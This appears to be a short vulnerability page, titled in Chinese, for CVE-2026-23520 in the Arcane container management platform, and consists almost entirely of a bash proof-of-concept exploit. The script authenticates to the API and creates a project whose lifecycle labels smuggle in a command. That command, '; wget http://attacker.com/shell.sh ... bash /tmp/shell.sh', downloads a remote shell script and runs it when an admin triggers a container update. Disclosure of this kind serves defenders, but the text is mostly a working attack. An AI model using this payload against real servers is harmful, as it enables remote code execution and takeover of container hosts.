CVE-2026-23520 | Arcane容器管理平台updater服务命令注入漏洞

#!/bin/bash # CVE-2026-23520 PoC - Arcane Command Injection # This PoC demonstrates the command injection vulnerability in Arcane's updater service API_URL="http://target-arcane-server:8080/api" USERNAME="attacker" PASSWORD="password123" PROJECT_NAME="malicious-project" # Step 1: Authenticate and get token echo "[*] Authenticating with Arcane API..." TOKEN=$(curl -s -X POST "$API_URL/auth/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"$USERNAME\",\"password\":\"$PASSWORD\"}" | jq -r '.token') if [ "$TOKEN" == "null" ] || [ -z "$TOKEN" ]; then echo "[-] Authentication failed" exit 1 fi echo "[+] Authentication successful" # Step 2: Create project with malicious lifecycle label echo "[*] Creating project with malicious lifecycle label..." MALICIOUS_CMD="; wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && bash /tmp/shell.sh" curl -s -X POST "$API_URL/projects" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"$PROJECT_NAME\", \"container_labels\": { \"com.getarcaneapp.arcane.lifecycle.pre-update\": \"$MALICIOUS_CMD\", \"com.getarcaneapp.arcane.lifecycle.post-update\": \"$MALICIOUS_CMD\" } }" echo "[+] Malicious project created successfully" echo "[!] Wait for admin to trigger container update to execute the payload"